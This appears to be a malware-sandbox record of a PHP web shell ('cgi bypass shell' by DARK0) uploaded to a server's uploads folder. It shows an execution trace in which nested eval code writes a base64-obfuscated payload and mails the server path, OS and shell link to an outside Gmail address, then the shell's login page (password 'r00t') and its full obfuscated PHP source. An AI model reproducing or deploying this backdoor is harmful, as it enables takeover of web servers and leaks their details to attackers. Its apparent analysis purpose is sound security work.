4	76	0	0.384857	594976	fwrite	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	88	2	resource(12) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	76	1	0.384950	595040
4	76	R			47731
4	77	0	0.384964	594976	fclose	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	89	1	resource(12) of type (stream)
4	77	1	0.384981	594552
4	77	R			TRUE
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	117	$kime = 'byhero44@gmail.com'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	118	$baslik = 'wsoff 2023'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	119	$EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	120	$EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	121	$EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	122	$EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/wsocgi.php\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	123	$EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n'
4	78	0	0.385093	594744	mail	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	124	3	'byhero44@gmail.com'	'wsoff 2023'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/wsocgi.php\r\nAvlanan Site : localhost\r\n'
4	78	1	0.386123	594840
4	78	R			FALSE
3	19	1	0.386153	594744
2	7	1	0.386165	528336
1	3	1	0.386173	525040
			0.386212	444248
TRACE END   [2023-02-13 00:30:24.012798]


Generated HTML code

<html><head></head><body><form method="POST"><title>priv cgi by DARK0</title><center><img src="https://cdn.dsmcdn.com/ty10/product/media/images/20200815/19/8144792/81575429/0/0_org_zoom.jpg" width="400"><h1>cgi bypass shell<br>Dark0</h1><h3>pass : r00t</h3><button type="submit" name="cgi3">cgi bypass</button>В&nbsp;</center></form></body></html>

Original PHP code

<?php
$stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNz\x434pSi4upI5yUWJxqZhKfkpq\x63n5Kq\x41\x62SzKLVMQ6W4pMR\x41EwlY\x41w\x41\x3d";
$stt0 = "\x3d8\x61WEpfZTdVK7w0z\x43DRR7n\x63\x41/\x42foLt/kIQLH93nvf8zXWFmk\x43XP00Zf\x2b8m\x62Qevpvv9U1HrDW1FmQYP39\x63QLVJ6Pf5lmwH\x2b6t\x61/81GnX751fdd02\x61\x621\x2bV\x62L/4rqiOVvPe\x61NZrf8r\x431OEzPWuo2tK5r/E8yJ9PVxjt4RdPtXhU1NGNfs74tLV02/elv\x63M68Ed8t2R56n\x41Sumud\x41H673\x63Y7\x62Oe4N5e3ny8Ls4jx3nXU\x61vKPq4nF7\x639ZHG\x2bY7v3Ht73gW8\x62O7I\x2bY6hOX\x42T8Yw\x2bjVeh/uRv\x621Vnvn9Gg2f\x2bGsfT1ilQ\x63Jyku4x\x43oxmmSnZfZKJpsnZJ\x43W0Lv/H2FlOL\x628f/wU\x61n/eI/Qgik/hH8dD9S696U3Po0vs\x629tfv4kuL95LzsGm0w\x62mMydqvhOTG\x62MGzy8EeRvYZQ9x9QNkzv7y934tjv\x41Mr5Vx/NwYlwy\x63RNuMunTs\x63J76\x41\x631RQLju\x63sU\x41zELI8Ul0fJkt4f/Q8vwn4J3\x63SYeMeqegM\x41/1X\x611\x61\x41PTO6\x61s/y\x41gnxqx9Dzn5GML23WQ1H00\x61ZMwFv/G7ix/i\x2bzfdtl3/2eEsOdDIrU8Jvn3J/znK\x2bV\x61\x2b0d4\x43gR1fi9S5fw8voiePZ\x2bH65SYvE6nE2H\x63KL\x2but\x41ftjIitxM7dE6TjxDUT/DFo9l4F0/i1EgF\x622X\x41v/\x61rWHv7Xn8\x422F\x42d1Tv\x62h9v8zTJW\x2b\x2bF6uWk5Xup\x2b\x62YQ/1G\x2bY\x619r\x43rf\x621tHD4eiP20MLrGu\x2b2\x437r\x61fHMqjUUt5N7n7\x43kWjF5\x63y7\x43KfL\x42e6dDfE63NqI9mOJnqGM91QVl4d\x43\x61TeHn9mk2lDIQ7W\x61w2wN\x6180OQEXip\x62irfND\x2b38\x63uv\x2bmeX\x63/WVeZ/J/x9hpLlv\x624YPwm\x437Jr65QwLr6O8L\x61ST6/mzK7JeuIefTdT/d0tOukqjj\x63Ewn\x63PSOV2dgez7F\x61G\x2bm6vEh\x627m7tx3pXuRH1y\x62\x61OvoLolNxYWu96E\x62wnOs3Ui6xEnD/KqxG7mf7N\x2b\x43QIT\x63Juw2LK\x62zD5\x41s9s\x62LwmdFVD94\x61\x2bEM29SHjl7HTn8XYEX\x43n\x42tWi7NjEs/eU\x2bG\x2bRKnI8Vk9VMWZ/F6hkz0fSxq84rhdwI0zDlWZ\x61xiHDTqo\x62drG98r714VO9p0\x42YSVfgv5dyhl4YKeWP4nheySitT73nSwSNjiJ\x41odUzxKQ5E5nMyTT6fPM87INEw7Wj0SNw\x62TVh8gpnP05\x2bH2qxS\x428l7lxLvl9SerkFx\x2b8X9FLKn/j9KwyoNkPo1I\x41sF9oYEHv\x42vj4fxm8T8lU8ur1v7pV9\x611Z6zhonNIq4Efjtj6lgII2VUrS\x635MQHD\x63\x2bi/qt8N/1Yz2y8W3u\x42IN\x2bJOPnMF/E/z5z94n8472f0Gpsou\x63fS\x2bTu9L69q6\x2bfH\x2bSVff3YQy30f\x43LQwrs3OtuVjIX84lojlfH4xWohx3s8gYwO5Ws2nl3Hf2g2HvXzj\x62\x41vF9Fhw2\x41\x2bzFvn3\x43\x2bX\x63kD\x425LPL\x617I5WD\x63VhFEev\x2bIsdrewdXOqxWSVZKnt5yfwJf95fO\x61K8dJ6sJnU4/\x432nnHM\x61\x63O5ek5vRR\x61qE\x2bVGmFgOTl4zXPx0\x412u\x438E6Sx7g9n9/\x2bs/x\x43Yq7Hjyo\x41vJu8R78z\x2bI/DDzr\x61\x2bKV2\x41iq\x62fwzMsn\x41\x61k72i3JTt\x62\x62LN81Ge3e2UzG\x630TIRTeM2zEFP3ZO\x62GeF86\x424Jr\x42nq98Uuh/YMPHfl\x61\x63DvtN\x61NY6TR5vFKKzKfLyRHQNzYpmsfylv/4OV\x635V/5rXU\x42xz\x42lD6v0/J9RP6nv9ptR\x41dO\x2bRG\x42X\x61v\x41\x433XpTf7S\x2b9GDMWj5V8/97\x2bKlNqmP4\x61k3dr2l\x62d\x41usi3n\x2bSMmvXKvw1lz9K3N49YWPeJ/iFJ/Md\x42FKMQ8kvDeSims\x2bG9iT\x61QPr9OIWrGFw\x62i1/oy1Dsj9Mo8\x61T5WI35S6\x62\x63T\x2bLh6EuSonk\x63h\x41NVOEVGur3gK\x62yJfS5sYo/q\x62hOSMHkl\x63J8Hq/VjHK2/pz\x43rkXE/7dpMY5/RZP/1r2K/ZmV8\x4337D8NP6\x2b0lvOK3dZeyriW67\x62sTQeFhixEi5G\x41uPSqUeLeeG7g/Sk\x43zG\x41k1hYiT\x63Fgd2nlMKRxYNDO5lmez\x6147Gz\x42R/LZ/LMzMZ6vkmM\x616fP2j92VekT\x2bN7NE60jnI\x62JJ\x2bDGD0eEd4nER\x2b8l\x417l\x2bF5QYoM\x42YReehf8J5NP/r/ze\x61NJSPRm05lsD5lHXj8\x62vj2l3LZlL047xU\x62i77\x61Ud\x2b\x630vm3j\x623mo6yxfs\x61p6U1\x62VVxw7W9D/MzwkuT0y/Fy5zsi\x2b12sFdfGv/eFsdf4x\x63\x2bVM\x2b51SY\x2b\x63/6G4\x63P0rjLf\x43\x2b0dlOdMYNpykoRT8nS\x62zOKmTwZwjNxVv\x63JK\x63LsnXW8kn3JrvPUw\x417fh2GXv3\x2bujui1qqt3V\x43FXI\x2bJQ83N\x61n9DqPOzHs\x42sP\x42Vx0\x63u\x2bv\x429wu\x621p2jjj2\x636WkUGQiOUw7ZNFPQvL\x42X03vN2fzvTrMjmWPezd8eILPTvhnR\x43zy13g4OG\x42t\x625N8WSuE0O1X4\x62HwTkx/kgl/Vt\x428S03P9J3Wqd/\x43nO9\x2b3p0dKhJrlxsfwe\x43WLKfs8/MKmjW8\x427Z80ojxXulzsr7u23Rop4Tj\x622G\x41K0Vg9Zs2XRv\x2bP4OPkr\x420yMT39F\x62dZnD\x61\x2bi61YZ9OoYtN\x41y9T\x41DuX/9p\x2bz55pk\x62Zjxo\x61N315s1w08\x41WgFzIXeJuKXN7KG\x62HsjnwXxNyl\x434k15u\x41QfqVefMu5OWQj85z\x63X0vM/GmEDo7mMkS7NITL\x62k/r\x42/n\x2btQppDgUK/E90Ky/HjfQqsHDf5krS/DV\x621xx\x41y9HvO3e08gpd3ZD\x42rD3inD\x413jXG15D1v9nOqPNvNymR\x2bLWsM30r1dTtf\x41Jl\x63OpXZPjGGSfel\x2bIjwT7de4YfoL\x42dIwtN6im7\x425zP8T6M\x42/Gw/1ESeee\x63\x43nJ\x428E\x41\x61Mw0rRkU3DyKorXpj3zVzxfO6V58v\x62p9\x42HvS\x2bLw\x42W\x61l83Ve/uS\x62LtJl/wDgYzWfjk\x62F\x62\x43W6nuxo43kUrZEx82/\x62JMWXS4TuG\x42npTR/6\x61Q89h/\x63x8\x2b12/\x63l2K5S0YuqZG3TsT\x41\x2bDs8SqVHfz\x43oq6VdnYF6UlpQr455oVHfh9g7/\x63XgTZd\x42wYZI3J8Y5vUGeJV4\x62g64DuH\x63DXTY\x2b9fwnx7gmInl/N25\x61JM\x62\x2bVi/q3ZO17\x41K/X6XY\x62OXYq4IR//8\x2b\x43UKpR0mx/t6P4v8\x61e3T59mQ7o\x63GMG\x634O\x63seSd55ljtjlINzZh5\x2b\x63RPxnx4veE\x2bfuTYR\x63s336I/kK19Den2unHvnhOesx0wm5w4e49J247lZyQGO\x62Vmd4\x2bZk2\x42\x62H\x42wuIPTtnEzRs\x410qQnTgfmRF5\x639fl2TuM4\x2be9vNk1JOP82H5txzxxQ7if3nLD8zQ6K877wQ\x63HjyL2QyGk79rZQnny\x63/N9qhhdvwfSy6W806KT\x62XXPZ5ZgYv\x624vs\x42hkTy\x63fl8dHzG66QsY17y\x63z9zPw\x628MLwd\x42X\x6266mThvjup\x62\x41i9e\x43nP\x42g\x612\x42Mvh\x61FlZ4IOHT6j\x627\x42T\x2bI7ZK9WI0uKdNG65VR\x62KqLGQ\x63JfQe76qD\x2b1Msv6VS1h7q7w2Fv5\x4157zUP/mwhQdmU08EYu\x43MY\x2bI4\x42Ij9dvx6FxU\x2b15GMjRW\x633iy\x43y2Li7h6\x2bdoyH5O10ZD/NE4O1so40o9Z\x62RxVi5u\x61rPUx4Y4Z6o/5Ff2vQ1e9sSs/\x62vJ9Xf83p\x62t39KVfXOHSm17JSj\x416DUY6/snuqL/UZP0TXdPu04g8\x42eus6O0zp/5rk7\x63Mkw3DivnDxTJLxDV\x2bMt3vu5YX95hYdEfXUgkZhF58\x43eK4/z9l9U/nw7g9\x420U2mEw4\x43i24Z/S\x62gl6w0\x62swLWT8sKwJuze6seDTOe2V8uZM1rV8XPxdqKN9Lg\x62GqtJ5Ty3\x63IvzYvFtyulZT\x2bGfgFlrh3Ju8\x2bD1z5hj7OD\x63JuPQrJwuH8jYuFH5gHvVSPoU\x61fRiLHZv2Qf\x2bM\x2bzgkm7kmp7X09JkonzkH9eDz19ky\x43g/8Vo\x63rvYnD7fZ81VrE\x61RHTpueQ\x2bek\x419dY1Z0yMoY3voyQdmJdZ8O7XPXQKevNORL2INvrxL\x439y4d\x62x90\x61\x410RSG3MR\x2b8\x41tvY8l\x2bw/\x43d1j\x63T4P1es3kfsK3P\x4311F2RkI8ZD2\x43MkZ\x61LD9dTHytGvGzrYn71nJ\x63\x62fu3k6Skxk\x63Kr\x41r5P8ujOyuw4GQuzifk0Xg\x63N4\x621fg/n/0vSpyzUuw4YU\x41\x438WLkuiRLZl95\x63N3QpR/JUG5XIHwYe7DHXh\x415J7rnJEr/J5\x426pJX6R/t8lrZ9MfvgXwZqHlNmnp\x61x88/iwsp7wj7htEw3x1x8SptiPOPnir\x43mrxLz4Z2\x42u\x639PkFRePJfjWFHJ5UJJ66\x63JfqXW04LSLKoKt6tV\x63n\x639HLD\x42yuWFg5\x43s0dsmnVrS\x423y1Ujl/kKu\x2b9Q\x628\x2bg2\x62D2OtFHv5\x417t7\x61Odmtd6Q7MN\x62iiGvv4sl0\x42Xm\x6265F7M6q2Wj\x2b\x41mmV9de\x2biw9g6\x2bo7h8qvM\x621I\x61\x2bS4l2jZQ29k4\x41XqTLzGO7W83o9kd192rdnp\x61Ojo5zFJSYXo/N\x62pLMvF4Ix\x62MqWvo\x61N\x618Lfz0q\x41gsM7w\x616zN7\x62Ey\x2bi0i\x42Pudyuvw99NOHy\x61m3\x42kKD2\x2b1TNvZY\x62xntjL0W8lE8dSexL\x417\x43X\x43W7RYo\x41hw/RLmYvgrxHoJ6PxGMXGu\x62DU/SkvD9lpx3\x42zMjtrjPwyPvs7msn8\x2bOg53P3\x2bT\x2b7YlsVTfzpmpns\x41vpyT2lrFweGzIhX1HfResILV/Ug4OT4VKf3z9EfNGNXL\x2b6S\x63z6JW/m9SepN5\x62mynUmV7LwVY0R9Rld3SDs\x43\x63OszUKzyml\x63P6Y\x2bVyu4N9typwzjws2IyUZlM9Z/9FtG637j4O\x63r\x63Q5fP1UWszTyoljz7zgzjS17dyM\x63MKHjT50/Wfe/v\x43jxjMHl3OpV\x2bF9ok9lvuoeM0kPPfE5jxV\x63kFTixzq8\x41TWi32SM2XQn\x41sU7\x42Z\x2bG7RZkpe\x43mDNlZXky8eNzxT1GS/in/di\x2bmveFN7FV0Z47nZi14\x613VtQiNXr\x61\x63Hrqh1\x2besEwnJ4V8pepELrD6XdEuGzkst884yt5Z\x62fye\x43sezfR96y9R1To\x41vNvDiP\x61uvpHY9rKz/Dk\x43U2hfg0/7fpid10zDdpFfRzk\x2bZ7uR9YHv558sHfnNIzS1W\x2bIwDw3z43/w5L\x62DZ3fKklvj9\x626fSm9nU\x63\x419KI\x43PzwllNjHj8r/jVoD91j8xnF\x2b/EQrS0vjXsT\x61Z/4Y\x62\x42v\x43MkEsR\x626u/\x61d4q6Nw5\x626H6I4TDmTS9Fwg3m\x63ukfTh9NSHLuHd6sef3i4Zy6fNt\x43zup\x2bz\x41M7p7u6J\x62q6IGHzsEWEl\x2bKl/jhxE8H\x63Sxf\x42l\x419\x63M042W91votkf2\x62Z6zy53m5/\x61h5lH6\x61xji\x2bU47\x61\x41v73F57RjN9\x2b6N\x6115\x41Py2u\x2b\x62g\x62OI/Te5\x63FxRuDuSSo7iTHXEVe4jzwYXhEwUswiR\x43Lnqf3GJvQPKYLPQ\x2bK\x42xQ\x63VLo8TYLJPuPkzkT37lstxM8\x62\x63FU2WMrjh6s\x2bKQEz\x43\x2b\x62\x62vjHz\x63\x41gRRqv\x416F\x4278NI7mvdVdxszEdRM5pJf3u4pO03pl\x61wVSzFZyj\x61eEk/Htjlpx/3eHlLvk6XxjgML6r/Sn9yZlnDs\x2b8S7Q\x41\x2bEVgh69Gg1r5Vijgew8JPL6nO8ntXr75Fu8E\x6258/OVfGkOzMFNTMqvyTm362n\x43zY\x63MueF2HS\x2b\x62ixVU\x410TEujTuYl027QEmdJM9Ezwr6wdvrD1Y3HR/RdL\x63NXrpDgvi\x2beTPjeHFg\x62fxxQkWe0jsY1w4TwlVRekYEI2GZz/js\x63u\x43GZdvJGf8XvQw0r31\x61o\x61XJs5YeHhT/q4q8zzR\x61ju302xZix7x\x42xF70d1V2Hgpe9HkDwxk2pPp8or0In72XD6zz4t2FjP7Qj85sr8YsRe2vPTrpf\x63umF2t\x42E/yMS7\x42UHoY8\x42MmTm\x428r7iQr3\x43pOgvETeKV\x61Te\x62\x2b8pTHrwks\x2b3VkRFriv\x42\x42Q/vyhiR428Vp\x42FWINMq/6tz5dSwVPoflFQ9Mtws\x62J/LTO\x42EtNMS22I1nlY29ETExnEutmFg1owqeSj3DnMWS84uVx8tHwH4dkkDPQ/q\x62M6Y60p\x63\x41r\x634L2FQ\x63InpXG9\x417YfH/\x2bhgy/kdUmTMstONDP\x63HThW1\x422\x63jts4T\x42OHxmJI\x63z\x63op0N5LoZQ//9k4d\x61\x61tx4E9ky5vTKJo/YvjZ2r1ker2\x62zn79ghRP\x43YRujGI\x43V2K5W3Z\x63\x63v/QhOXOYH3e\x63\x62mhM\x427D82n\x63xRn\x41vhdIO3fyGnj5\x62L/3\x2bS\x41\x42uQq88H9mGqg1o8PmZP6\x43QfHxNx/\x61xliD0m/Fx2z38xnnQOnzGfKyLlPyJZq7WNFK70q\x416N\x6344i4tpG5G\x2bsWEs44kOW50h4uL5378k\x4231etr5z99P0zS\x63geF2L\x426\x62Y\x62QEr\x2bmkZZJL85YrMD4UVp/N287YMv\x63\x62l/1DrF\x2bXq0D\x61uMT2nSkw9GxusT\x43uR\x2buxgy0/ShdgHHZXdJnh/0nFX\x63\x43Yn\x42rks857y910/6Oz3\x42GfHGHI6fiYTW\x61sNwk\x62g7w9Sm\x41\x41nevovQO\x63yKnE0N5I0km\x62\x2byxHJrZo\x63MxuD\x62\x42JDpU\x41k41G\x43evRGE3np\x2b\x42Ek\x2bmZ/fhTL2iyk\x2btU2k\x61eTjYIl\x2b25\x41T5EwXpSWrn0Gq3H5YO3Zd2Smp7qrGP\x43mP6v0x78gfRnHP4lM6Toel/LO6IxHJKH\x42\x2bsXf\x42MZ7Xhf\x61DoMg7PqfH9\x42GR\x63513v2G\x633SEDQpKvhK\x2bkfe5LU7O1YVJJGrI\x63Jr8LzL\x414IoDhswEY66xYnszHGyNshZ/\x43PF1J5LeW4VYv\x61w2\x62yX\x42HShVv\x43\x62v7DQu\x42ZFsdqNT\x42k4MZ7E\x632JjR4fI\x2bL8WNk7lqPvwN4J8X\x41etkOxjff16X/8XKt\x63\x421\x615DegVuFXVnu\x427dg6N\x62ddyYJ/\x637y\x41J7\x42l2tQhQ\x2bh\x43NW2Xw\x41S3qFy4OOJtt\x61W7\x2bwe\x417F6MfFxLiXg9n80YL\x43ekuWy6DdGUK3VsuLR7XV/r\x43mT4F\x63\x62\x63lOLw7\x63\x417\x43EnET41XU6ZyNsjoEJu\x41PXO2I98Jq1K1koF5MOi\x2bQt\x62xiLtHthYH\x42EsYfxxlo1\x41LV07\x41GVeFuoGLRh2rQHSMQg\x62Iejt3gGZV\x62\x62LMfuN8LRMSKZwIuZt\x639KYT\x63dE5O/4mT0Ge9ltlKdv\x43hR4WWJ1MTe29zwsisryei1VQzE\x63EImi98IxIFDpOEdTE8vM3\x42Gz0KqRx\x63Ysvv3\x41JVkdujLrhN\x41\x42g\x42MTKjo3o\x41I\x2bSf\x63nRwL\x415PMmnVi2WoxOohgR\x41x\x425gxM4Vus1x\x63\x61doEezTRKRxLR38\x63KWqJmg6MN9PfrZmllQuD/VU\x2bkEu\x43YMQ\x2b1f/EGhq\x62gnk3ow8wL6kruO1Jku5te\x424\x62SUdPYWR2WZH1l\x410lRREWtN\x62wNv5fYtNkyYxZUMh3m5fQrMH0j\x41iUX88\x417\x2b2DMIXDt\x61zQ8\x43oMD\x41V\x2b2\x62dM\x4339R12nGMDmfznNV5q\x2bZ6PPfGOu8ZU\x2bDS5\x63MUgX49S06zdLyzQ5s\x62xOng1s\x43j54eIxv7U/ZkF/GXYGMMS\x61TDTEUl\x628p8SetN7qEye\x42rNzqDjFP1pevj\x2bvYX5eivfil4\x42WeRP4ZF7NS\x62jzO\x41/9i2ow\x61nsqV4X\x42tvY6zguFSvkTe\x63\x41nngI59x82yQ4PwlXO5xGtmXHZzxNuL46g5HjhsEM7KOJj3uKNs\x61U827ULk5lluQ6hVsFLX\x41307nmMq\x613\x2bHNL3\x62In5yNRjpe\x62v/YNT63d\x437\x43\x2bDQlk7jPy\x63UWQ4mnPi/Rv\x629ks\x62OGwZU6Gtd8LR/D7yg\x615j5ZumK2U1R8\x62xt2OIS\x62dQkwMzyMTxsFt3htnNjMI8PurzRX7Z\x2b/wqFvQM/7N3I\x61\x41\x41eZ\x61\x42hW\x41wY\x42h2ljiXy3\x2boXlzIs\x61\x43V\x62GnYSmyNzzJn8uU/683X6U7l\x63\x42d6QF73i7tWW\x63/\x43zL\x61e\x62I7rddnT\x41wDj7Kt\x63\x2bVOs9g0/nwefVoVjhXLzmjnp94PRTWF\x62K/j5\x63INvvDtXy1spLEporgN\x61XN\x62yKonw5nn\x61\x2bGYDv\x61Vu\x62E\x62\x63Hk9siE9\x63FyYgrHO3\x61hSTFxY7n7\x43R\x62\x62T7TiIx\x63DTXz1gvP96vQn6\x61gfj5tRLT5\x2bff\x2b7z\x63iw3DSP\x42DfJHr\x2bmg36TzH2K\x61\x2bvJ30r5QjXkP\x43f\x439kv46fNOrUX\x611h\x42dh1jD3L\x42wXunePimfSxy7ymi0\x42r8G5\x62TtLirLirLP\x62x5Z/49K1eH6mH3InI\x2bfGR\x61WLTyt/QWQYNQtOTw\x62lLlyZmxG1tellp\x62r\x2bN4Vzxrwxr\x41xOs7uY\x62o646\x43oH3k\x2bW69sLOWsVV\x2b0fU1E4p\x2b\x2bLfhnnY\x63SVeT\x43ODe\x63KO6INq3\x41ef\x63/WDjnM8\x2bGr955ySmgLiujidHtrVTuSjj0pVt\x417gXIdF4F6T8tt62m8JF9O\x62e8PQrIY/FVFdlo4H8rjPfOkT3vmy6eH8ZTWEve5WeewIx9TuyJr0y69pE\x624OQ3ZXKnSgX0em\x626Pm970pfhO35\x61M2E\x41PI23w\x41S4L\x63WemQzGqoUyKsl6Pw8\x2b\x42vGjHQfMHjx0yr\x41DnhKmjz5NyXRHJt\x624e\x2bsJvP5noG\x61\x2bYS\x63jj\x62O\x61x4Y66\x2bSFv0H2\x43ZLM6f7N9JwN2Z/Lkl89ZLD4/EqT\x2bl6\x63N2lMGjY\x2bM\x61MJGzHRVK96gtoSr/jvh\x61jgo\x42Ed6Kx\x623vr01UP3mzXWS\x2bysFl1dhSWX7L8njX2G1l43u/m\x62VieU8\x63\x42h/rIOv/TTwYFYFZGV1on8PgsqtP\x41mWXM67EYflR1rvgkzFzi1d2Q95KjoP0YKNRWd4qwr4EOU6Ppd5\x61IY1s5/zX3W8ldxeoKuz3W2nLznRE7Ev/Q/R4679DqRR7lKYDhuugPLxWMH1QgtotPoGqfGt0x\x630dkOR8OP/7wx\x43ofIf5T2FHN7X7fZ\x63ZsXD1ZS0J\x41Xg2hWtony0rTN\x412v6w70gJzV\x42\x635\x621efqWPpkP0oKixNE\x62G\x413hf/Fl7p\x42L\x42IZ\x41v\x42WNgI4G\x62hW3kvX5O\x61\x61if2mT5S3\x41\x63\x2b\x42KL0jGjGZIMW5zxy\x41\x2b8N0/R\x61VxjuFJqLEY\x61kKgj\x42XhVR\x63kqn3x\x61yZyIDK\x422uu57P5Oz3DR\x6259ifVuxLMOQ\x628vL4/01\x437JH00n2T9M\x2b\x62EXO8\x41pu\x429Wl6VN6mWG6OifjR3kN\x42W324\x2b\x43u54vuDY3N4nN\x62Q3mL61XUoF1ZyJ9P32Now\x2botTpJ5lzemELN5Tw1m8\x42D1f\x629TevmeMe\x62\x2bL\x2b\x42o8PdN\x62\x2bIR\x62R/USpkjP55wyFeuXTLfinTgFMsY\x43r8dk\x62zJldzIRzSj/ot\x639fKXQZMifQk3r/IPPg5k9m1JR/i2W\x42vuTddz3U\x42eXh/0fwd\x62dWX\x42l/wXF\x62JYQ\x2bzekd/w\x61X642u\x4270rDq2h/HpNjzFo9YMK6m87eh8MGD6q\x62snTiRT8\x4214\x62fDiZ3g\x63OpgZ\x2bt\x61wh1wzuDqZ0wOM2eeeYN6O1g\x63yp9HwzSt6kSR/TEpt33Lt9\x42Dt3Q\x61\x618ksXhO9dQslgdw2Z8LwmoVS75sR\x43K\x61uoSR\x42DuHSXDr\x41Xj9ZQH\x42x1e/7OivT\x62GqiX0/Yom9HwO5u40lK0W/G6iG6J2\x2bMiWOw2n90gKOpxXZK47pw0\x638SQdvWD5Py\x42\x43mRPG\x61uNumjZZNHPui8fOh\x62dimf\x41\x62VZ\x63\x2b7H9OvFZSki3ItjzyrrE6ViFhr4hIGTqONu859JW\x415LOsYqEzIjfFnqt\x2bZ\x618lNlmuVyJ8out9O\x63trZv3X2Ug\x2beu\x42yJwh2Pj\x63/PzIxhVj932tnW\x62G\x419ud2\x43my\x637hyM8kNNqW4XgvViFuG5\x42I/SjOziq4YXZX4\x2byoFOpUzqT\x41zx4\x43YJKNWIs91xqiw\x2b8\x62jePu\x42Y0R3Dp2\x613YTU6zUekLXT\x2bWYgoP2ju\x639jPy\x41\x62Zd\x63sriZs\x2bF9j4OMK3y\x43N\x414vKsNQ2NSn\x415vfD2LglwOdNMG49Kd8p2dxe7l\x2bH\x63uO\x2bDmHHrzh7Y\x43NrD9\x637\x61wX0nEsv78fdOgV2GZpSZJwo9mPLxFNvHPoupsv\x63tiy9Ux6tt\x42fO\x61\x63EHpVN7\x2bgKpS\x63\x41\x61eFgvy\x62DjxPO0Os7iZ/0\x62\x41Wv\x43L\x620uqxf\x63\x2brXh6ZZKx8yLMti4VyyhkMHF7wlZwHiJ1KePS\x41\x2b\x63U3xPwX\x43R5X/F7uYT38H\x621EOiGvsfUrEWI7pETExvJ5v35H2ZnrKfSGg/vP\x2b1mG/2rN\x43\x2bdu2J8qo7gnpEHPjO76IugG9FlYO61r4LYv\x43x1f6vw\x61N9nQR4\x62wug4rdxzHUTQUEv/yRT\x61N4\x63yX7PxGKO\x414fnOn3f\x43yvVdn7\x42G9du8jIZlfn\x42Sd7V07g\x2bEsk1G0qLvOX\x436S\x62/M\x43\x63iKXtxfg5xw/Qf\x41kFQO\x43Kf4ej8p2\x437RxFwZ6x15u\x434wyolH4PH0Pk0mDLLO\x62zLYk\x41\x2bews9s6UIpP\x43dos4g9\x42YlUiiQPwH\x41WGg\x2bxs\x43rNt4R6e\x2b\x41YP2S\x63i4LwvtY\x42\x62\x2bFwWM\x2bu9HeeHpN\x42kWJDeJl4Is5j\x2bOyfm4egInT0J4m7ZSV5y4QprZds\x63n\x418mz\x43d\x6227yu\x43\x42nsdE6\x2bdvD\x63O45\x42T4zNZ4eMe\x61yzlj4TlrEvJ48sNtjRDLH\x42sjFx\x2b\x41J3QrSZOYOOHe5WT\x617OGST8QiJ\x61\x62NUMx2TgLI8Oyt\x43\x2bFwemm\x42juPG/I/nmGn\x61yN28p3\x41/\x2bNHg8zeOYPe/vVGD2FxL2Mj\x62\x42GNREYu9/zJ41J\x2b\x43ofiqTGrDdn\x426tPl6Dyf\x42yNVpxUxlO59tSw2D\x43NO\x42nSDj\x42/JlpQ\x2b\x42l6\x2bkMd\x62Q3\x42kKs\x2b\x41zfh2qn0jgydVO\x2bRdyf994RyN58xPZUOfO7w4d\x43VyTSS7JL2z4M698VQeO\x2bj2\x62Jf\x41g7/ptlYtj6Px\x43rw5Wf06h\x63MWOQ\x63IMNPp4K\x63L2FDG/uKsMPK\x62k\x43tuwJ6SQ/SLi\x42XWm\x42jkIN\x62J9yR\x41tPo\x61fLUDLyWGz\x63rfWOJsNLr/HyPGpzHZFvnO\x61tW3W7Nt4eE223NKd7trtZHIHoxqVpGGzxZTO\x43xR\x636eg\x610zj6lF\x41/osLo72\x41q/\x61eF8DvuZ3Ghdh\x62fdw2IPdK1diTi\x61R1uV6\x61G\x41wn\x63gTutL8D\x43oLnRo6XmJz9q09sT292hgkuUPXjeG\x61okFfeDEZ\x62h4/\x438Hs6\x63m\x42H\x43UvqnxXR\x63DQnL6G2eHq\x61\x63\x2bh06R\x2bHFkjxMFsZdnYOGM1T5RYUhfG/yknpY9FQzsrNOIXZzIeUKimkdwPsPhM\x42K7u0qDsmr\x2b\x63gd/hooSwy0\x62eXFE7HFl9o\x62\x61\x43ldQL8Nrvjv\x43InD5\x424002Z\x43p\x61ory\x43\x41v\x43\x62GgD\x42ZWwFKmzT0SJNoXlDwU59DO36XEpxP\x2bLPmF2XpZ/kL0ROTDRm\x42l\x63LgXS977R7I\x2b\x41LRveYs\x62y6o\x62jKjDmL\x42ejK\x61X\x633P\x2beKy/5\x615ElS\x61HghjPxySQTy\x63keShf\x427\x42gVytjLyz1zkeIeJK\x61HJ\x61v2G\x42\x41ZXhmfEWmWO9sZ9uM\x638OdZ\x63O